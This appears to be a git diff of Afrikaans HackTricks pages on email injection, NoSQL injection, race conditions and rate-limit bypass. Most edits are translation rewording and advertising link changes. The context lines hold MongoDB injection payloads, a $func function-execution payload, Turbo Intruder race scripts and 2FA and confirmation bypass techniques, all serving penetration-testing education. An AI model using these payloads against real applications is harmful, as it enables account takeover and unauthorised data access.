**Opmerkings tussen hakies ()** aan die begin of die einde sal ook geïgnoreer word
* Byvoorbeeld john.doe(intigriti)@example.com → john.doe@example.com
### Witlysontduiking
### Witlys-oorskryding
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
@ -121,7 +121,7 @@ Sommige dienste soos **github** of **salesforce laat** jou toe om 'n **e-posadre
### Rekening-oorneem
As 'n **SSO-diens** jou toelaat om 'n rekening te skep sonder om die gegee e-posadres te verifieer (soos **salesforce**) en dan kan jy daardie rekening gebruik om in 'n ander diens in te teken wat **vertrou** op salesforce, kan jy toegang verkry tot enige rekening.\
As 'n **SSO-diens** jou toelaat om 'n rekening te skep sonder om die gegee e-posadres te verifieer (soos **salesforce**) en dan kan jy daardie rekening gebruik om in 'n ander diens in te teken wat **vertrou** op salesforce, kan jy toegang tot enige rekening verkry.\
_Merk op dat salesforce aandui of die gegee e-posadres geverifieer is of nie, maar die aansoek moet hierdie inligting in ag neem._
## Antwoord-Aan
@ -132,11 +132,11 @@ Jy kan 'n e-pos stuur met _**Van: maatskappy.com**_ en _**Antwoord-Aan: aanvalle
Sekere dienste, soos AWS, implementeer 'n drempel bekend as die **Harde Terugstootkoers**, tipies ingestel op 10%. Dit is 'n kritieke meting, veral vir e-posafleweringsdienste. Wanneer hierdie koers oorskry word, kan die diens, soos AWS se e-posdiens, gesluit of geblokkeer word.
'n **Harde terugstoot** verwys na 'n **e-pos** wat aan die afstuurder terugbesorg is omdat die ontvanger se adres ongeldig of nie-bestaande is nie. Dit kan gebeur as gevolg van verskeie redes, soos die **e-pos** wat gestuur word na 'n nie-bestaande adres, 'n domein wat nie werklik is nie, of die ontvangerbediener se weiering om **e-posse** te aanvaar.
'n **Harde terugstoot** verwys na 'n **e-pos** wat aan die sender terugbesorg is omdat die ontvanger se adres ongeldig of nie-bestaande is nie. Dit kan gebeur as gevolg van verskeie redes, soos die **e-pos** wat gestuur is na 'n nie-bestaande adres, 'n domein wat nie werklik is nie, of die ontvangerbediener se weiering om **e-posse** te aanvaar.
In die konteks van AWS, as jy 1000 e-posse stuur en 100 daarvan lei tot harde terugstote (as gevolg van redes soos ongeldige adresse of domeine), sou dit 'n 10% harde terugstootkoers beteken. Die bereiking of oorskryding van hierdie koers kan AWS SES (Simple Email Service) aktiveer om jou e-posstuurvermoëns te blokkeer of op te skort.
Dit is noodsaaklik om 'n lae harde terugstootkoers te handhaaf om ononderbroke e-posdiens te verseker en die afstuurder se reputasie te handhaaf. Die monitering en bestuur van die gehalte van die e-posadresse in jou poslys kan aansienlik help om hierdie doel te bereik.
Dit is noodsaaklik om 'n lae harde terugstootkoers te handhaaf om ononderbroke e-posdiens te verseker en die sender se reputasie te handhaaf. Die monitering en bestuur van die gehalte van die e-posadresse in jou poslys kan aansienlik help om hierdie doel te bereik.
Vir meer gedetailleerde inligting kan verwys word na AWS se amptelike dokumentasie oor die hantering van terugstote en klagtes [AWS SES Terugstoothantering](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
@ -164,7 +164,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) om maklik werkstrome te bou en te outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

View file

@ -3,20 +3,20 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) om maklik te bou en **werkstrome outomaties** te dryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -55,7 +55,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
'n Aanvaller kan dit uitbuit deur strings soos `admin' || 'a'=='a` in te voer, wat die versoek laat terugkeer deur aan die voorwaarde te voldoen met 'n tautologie (`'a'=='a`). Dit is analogies aan SQL-inspuitingsaanvalle waar insette soos `' or 1=1-- -` gebruik word om SQL-versoeke te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word deur insette soos `' || 1==1//`, `' || 1==1%00`, of `admin' || 'a'=='a`.
'n Aanvaller kan dit uitbuit deur strings soos `admin' || 'a'=='a` in te voer, wat die versoek laat terugkeer deur al die dokumente te bevredig deur die voorwaarde met 'n tautologie (`'a'=='a`) te bevredig. Dit is analogies aan SQL-inspuitingsaanvalle waar insette soos `' of 1=1-- -` gebruik word om SQL-versoeke te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word deur insette soos `' || 1==1//`, `' || 1==1%00`, of `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -98,7 +98,7 @@ in JSON
```
### PHP Willekeurige Funksie Uitvoering
Deur die **$func** operator van die [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) biblioteek (standaard gebruik) te gebruik, is dit moontlik om 'n willekeurige funksie uit te voer soos in [hierdie verslag](https://swarm.ptsecurity.com/rce-cockpit-cms/).
Deur die gebruik van die **$func** operator van die [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) biblioteek (standaard gebruik) is dit moontlik om 'n willekeurige funksie uit te voer soos in [hierdie verslag](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
@ -106,7 +106,7 @@ Deur die **$func** operator van die [MongoLite](https://github.com/agentejo/cock
### Kry inligting vanaf verskillende versamelings
Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) te gebruik om inligting vanaf 'n ander versameling te kry. In die volgende voorbeeld lees ons vanaf 'n **verskillende versameling** genaamd **`users`** en kry die **resultate van al die inskrywings** met 'n wagwoord wat ooreenstem met 'n wild card.
Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) te gebruik om inligting vanaf 'n ander versameling te kry. In die volgende voorbeeld lees ons van 'n **verskillende versameling** genaamd **`users`** en kry die **resultate van al die inskrywings** met 'n wagwoord wat ooreenstem met 'n wild card.
**NOTA:** `$lookup` en ander aggregasiefunksies is slegs beskikbaar as die `aggregate()`-funksie gebruik is om die soektog uit te voer in plaas van die meer algemene `find()` of `findOne()`-funksies.
```json
@ -130,10 +130,10 @@ Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/o
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
## MongoDB Aanvalle
@ -263,7 +263,7 @@ get_password(u)
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -274,7 +274,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) om maklik **werkstrome** te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
<details>
@ -34,8 +34,8 @@ Hier kan jy 'n paar tegnieke vind vir Sinchronisering van Versoeke:
#### HTTP/2 Enkel-Pakket Aanval teenoor HTTP/1.1 Laaste-Byte Sinchronisering
* **HTTP/2**: Ondersteun die stuur van twee versoek oor 'n enkele TCP-koppeling, wat die impak van netwerkjitter verminder. Tog, as gevolg van serverkant variasies, mag twee versoek nie voldoende wees vir 'n konsekwente wedloop toestand aanval nie.
* **HTTP/1.1 'Laaste-Byte Sinchronisering'**: Maak die vooraf stuur van die meeste dele van 20-30 versoek moontlik, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik.
* **HTTP/2**: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-koppeling, wat die impak van netwerkfluktuerings verminder. Tog, as gevolg van serverkant variasies, mag twee versoeke nie voldoende wees vir 'n konsekwente wedloop toestand aanval nie.
* **HTTP/1.1 'Laaste-Byte Sinchronisering'**: Maak dit moontlik om die vooraf stuur van die meeste dele van 20-30 versoeke, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik.
**Voorbereiding vir Laaste-Byte Sinchronisering** behels:
@ -44,23 +44,23 @@ Hier kan jy 'n paar tegnieke vind vir Sinchronisering van Versoeke:
3. Deaktiveer TCP\_NODELAY om Nagle se algoritme te gebruik vir die groepering van finale rame.
4. Ping om die koppeling op te warm.
Die daaropvolgende stuur van terughou rame behoort in 'n enkele pakket aan te kom, wat verifieer kan word via Wireshark. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie.
Die daaropvolgende stuur van terughou rame behoort in hul aankoms in 'n enkele pakket te resulteer, wat deur Wireshark geverifieer kan word. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie.
### Aanpassing aan Bedienerargitektuur
Die begrip van die teiken se argitektuur is noodsaaklik. Front-end bedieners mag versoek anders roeteer, wat die tydsberekening beïnvloed. Voorskot bedienerkant koppeling opwarming, deur onbeduidende versoek, mag versoektydsberekening normaliseer.
Die begrip van die teiken se argitektuur is krities. Front-end bedieners mag versoek anders roeteer, wat die tydsberekening beïnvloed. Voorskot bedienerkant koppeling opwarming, deur onbeduidende versoeke, mag versoektydsberekening normaliseer.
#### Hantering van Sessie-Gebaseerde Sluiting
Raamwerke soos PHP se sessiehanterer serialize versoek per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.
Raamwerke soos PHP se sessiehanterer serializeer versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.
#### Oorkom van Tempo- of Hulpbronlimiete
#### Oorkom van Tempo- of Hulpbron Beperkings
As koppeling opwarming ondoeltreffend is, kan die opsetlike aktivering van webbedieners se tempo- of hulpbronlimietvertragings deur 'n vloed van dummiversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerkantvertraging te veroorsaak wat bevorderlik is vir wedloop toestande.
As koppeling opwarming nie effektief is nie, kan die opsetlike aktivering van webbedieners se tempo- of hulpbronbeperkingsvertragings deur 'n vloed van dummieversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerskant vertraging te veroorsaak wat bevorderlik is vir wedloop toestande.
## Aanval Voorbeelde
* **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Uitbreidings` -> `Turbo Intruder` -> `Stuur na Turbo Intruder`), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir **`%s`** verander soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en kies dan die **`voorbeelde/wedloop-enkelpakket-aanval.py`** van die keuslys:
* **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Uitbreidings` -> `Turbo Intruder` -> `Stuur na Turbo Intruder`), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** van die keuslys kies:
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
As die web nie HTTP2 ondersteun nie (slegs HTTP1.1) gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte)**: In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te trigger, kan jy die `race-single-packet-attack.py` skrip verander met iets soos:
* **Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte)**: Indien jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te aktiveer, kan jy die `race-single-packet-attack.py` skrips verander met iets soos:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -105,16 +105,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Dit is ook beskikbaar in **Herhaler** via die nuwe '**Stuur groep in parallel**' opsie in Burp Suite.
* Dit is ook beskikbaar in **Herhaling** via die nuwe '**Stuur groep in parallel**' opsie in Burp Suite.
* Vir **limiet-oorskryding** kan jy net die **dieselfde versoek 50 keer** in die groep byvoeg.
* Vir **verbindingsopwarming** kan jy **aan die begin van die groep** 'n paar **versoeke** byvoeg na 'n nie-statische deel van die webbediener.
* Vir **verbindingsopwarming** kan jy aan die **begin** van die **groep** 'n paar **versoeke** byvoeg na 'n nie-statische deel van die webbediener.
* Vir die **vertraging** van die proses **tussen** die verwerking **van een versoek en 'n ander** in 2 substaat-stappe, kan jy **ekstra versoeke tussen** beide versoeke byvoeg.
* Vir 'n **multi-eindpunt** RC kan jy begin om die **versoek** te stuur wat **na die verborge toestand gaan** en dan **50 versoeke** net daarna stuur wat **die verborge toestand benut**.
* Vir 'n **multi-eindpunt** RC kan jy begin om die **versoek** wat **na die verborge toestand gaan** te stuur en dan **50 versoeke** net daarna wat **die verborge toestand benut**.
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
* **Geoutomatiseerde Python-skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend geverifieer word totdat die verifikasie-token van die nuwe e-pos na die laaste e-pos arriveer (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was).\
Wanneer die woord "objetivo" in die ontvangs e-posse gevind word, weet ons dat ons die verifikasie-token van die veranderde e-pos ontvang het en ons die aanval beëindig.
* **Geoutomatiseerde Python-skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend geverifieer word totdat die verifikasietoken van die nuwe e-pos na die laaste e-pos arriveer (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was). Wanneer die woord "objetivo" in die ontvangs e-posse gevind word, weet ons dat ons die verifikasietoken van die veranderde e-pos ontvang het en beëindig ons die aanval.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -247,7 +246,7 @@ response = requests.get(url, verify=False)
Voor die vorige navorsing was hierdie enkele lading wat gebruik is, wat net probeer het om die pakkies so vinnig as moontlik te stuur om 'n RC te veroorsaak.
* **Herhaler:** Kyk na die voorbeelde uit die vorige afdeling.
* **Indringer:** Stuur die **versoek** na **Indringer**, stel die **aantal drade** in op **30** binne die **Opsies-menu,** kies as lading **Nul-lading** en genereer **30.**
* **Indringer:** Stuur die **versoek** na **Indringer**, stel die **aantal drade** in op **30** binne die **Opsies-menu,** kies as lading **Nul ladinge** en genereer **30.**
* **Turbo Indringer**
```python
def queueRequests(target, wordlists):
@ -299,7 +298,7 @@ asyncio.run(main())
### Limiet-oorskryding / TOCTOU
Dit is die mees basiese tipe van 'n wedren-toestand waar **kwesbaarhede** voorkom op plekke wat **die aantal kere wat jy 'n aksie kan uitvoer, beperk**. Soos om dieselfde afslagkode verskeie kere in 'n aanlynwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in [**hierdie verslag**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**hierdie fout**](https://hackerone.com/reports/759247)**.**
Dit is die mees basiese tipe van 'n wedloopvoorwaarde waar **kwesbaarhede** voorkom op plekke wat die aantal kere wat jy 'n aksie kan uitvoer, **beperk**. Soos om dieselfde afslagkode verskeie kere in 'n aanlynwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in [**hierdie verslag**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**hierdie fout**](https://hackerone.com/reports/759247)**.**
Daar is baie variasies van hierdie soort aanval, insluitend:
@ -311,15 +310,15 @@ Daar is baie variasies van hierdie soort aanval, insluitend:
### **Versteekte subtoestande**
Die uitbuiting van komplekse wedren-toestande behels dikwels die benutting van kort geleenthede om te interaksieer met versteekte of **onbedoelde masjien subtoestande**. Hier is hoe om hierdie benadering te volg:
Die uitbuiting van komplekse wedloopvoorwaardes behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien subtoestande** te interaksieer. Hier is hoe om hierdie benadering te volg:
1. **Identifiseer Potensiële Versteekte Subtoestande**
* Begin deur eindpunte te identifiseer wat kritieke data wysig of mee interaksieer, soos gebruikersprofiele of wagwoord-herstelprosesse. Fokus op:
* Begin deur eindpunte te identifiseer wat kritieke data wysig of daarmee interaksieer, soos gebruikersprofiele of wagwoordherstelprosesse. Fokus op:
* **Stoor**: Gee voorkeur aan eindpunte wat bedienerkant volgehoue data manipuleer bo diegene wat data aan die kliëntkant hanteer.
* **Aksie**: Soek na operasies wat bestaande data verander, wat meer geneig is om uitbuitbare toestande te skep in vergelyking met diegene wat nuwe data byvoeg.
* **Sleutelverskuiwing**: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv. gebruikersnaam of herstelteken.
* **Sleuteling**: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv. gebruikersnaam of herstelteken.
2. **Voer Aanvanklike Ondersoek uit**
* Toets die geïdentifiseerde eindpunte met wedren-toestandaanvalle en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in aansoekgedrag kan 'n kwesbaarheid aandui.
* Toets die geïdentifiseerde eindpunte met wedloopvoorwaarde aanvalle en let op vir enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in aansoekgedrag kan 'n kwesbaarheid aandui.
3. **Wys die Kwesbaarheid**
* Beperk die aanval tot die minimale aantal versoek wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag verskeie pogings of outomatisering vereis as gevolg van die presiese tydsberekening wat betrokke is.
@ -333,7 +332,7 @@ Presisie in die tydsberekening van versoek kan kwesbaarhede aan die lig bring, v
**Voorbeeld:**
* Vra twee wagwoordhersteltekens op dieselfde tyd aan en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken-generering.
* Vra twee wagwoordhersteltekens op dieselfde tyd aan en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken generering.
**Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.**
@ -353,9 +352,9 @@ Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-st
**Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.**
### Versteekte Databasis-toestande / Bevestigingsomseiling
### Versteekte Databasis toestande / Bevestiging omseil
As **2 verskillende skrywes** gebruik word om **inligting by** 'n **databasis te voeg**, is daar 'n klein tydperk waarin **slegs die eerste data in die databasis geskryf is**. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** geskryf word en dan die teken om die nuut geskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die **teken om 'n rekening te bevestig, nul** is.
As **2 verskillende skrywes** gebruik word om **inligting** binne 'n **databasis by te voeg**, is daar 'n klein tydperk waarin **slegs die eerste data in die databasis geskryf is**. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** geskryf word en **dan die teken** om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die **teken om 'n rekening te bevestig nul** is.
Daarom kan **die registreer van 'n rekening en die stuur van verskeie versoek met 'n leë teken** (`teken=` of `teken[]=` of enige ander variasie) om die rekening onmiddellik te bevestig, dit moontlik maak om 'n rekening te bevestig waar jy nie die e-pos beheer nie.
@ -363,7 +362,7 @@ Daarom kan **die registreer van 'n rekening en die stuur van verskeie versoek me
### Omseil 2FA
Die volgende pseudokode is vatbaar vir 'n wedren-toestand omdat in 'n baie kort tydperk die **2FA nie afgedwing word** terwyl die sessie geskep word:
Die volgende pseudokode is vatbaar vir 'n wedloopvoorwaarde omdat in 'n baie kort tydperk die **2FA nie afgedwing word** terwyl die sessie geskep word:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -402,18 +401,18 @@ In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

View file

@ -1,28 +1,28 @@
# Koersgrensontduiking
# Tariefbeperking deurloop
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
